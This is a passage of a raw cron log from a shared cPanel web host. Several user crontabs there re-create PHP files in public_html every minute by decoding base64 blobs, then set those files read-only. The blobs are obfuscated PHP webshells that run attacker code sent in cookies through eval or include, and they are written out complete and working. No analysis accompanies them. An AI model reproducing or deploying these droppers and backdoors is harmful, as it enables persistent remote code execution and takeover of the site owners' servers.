aWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:16:02 medusa CROND[29445]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:16:02 medusa CROND[29450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:16:02 medusa CROND[29457]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:16:02 medusa CROND[29459]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:17:02 medusa CROND[19567]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:17:02 medusa CROND[19568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:17:02 medusa CROND[19571]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:17:02 medusa CROND[19569]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:17:02 medusa CROND[19572]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Mar  1 04:17:02 medusa CROND[19573]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 04:17:02 medusa CROND[19577]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:17:02 medusa CROND[19579]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:17:02 medusa CROND[19580]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:17:02 medusa CROND[19581]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:17:02 medusa CROND[19578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:17:02 medusa CROND[19586]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:17:02 medusa CROND[19587]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:17:02 medusa CROND[19588]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:18:01 medusa CROND[9710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:18:01 medusa CROND[9802]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:18:01 medusa CROND[9804]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:18:01 medusa CROND[9805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:18:01 medusa CROND[9808]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:18:01 medusa CROND[9809]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:18:01 medusa CROND[9816]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:18:01 medusa CROND[9815]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:18:01 medusa CROND[9817]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 04:18:01 medusa CROND[9819]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:18:01 medusa CROND[9822]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:18:01 medusa CROND[9823]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:18:01 medusa CROND[9814]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:18:01 medusa CROND[9829]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMild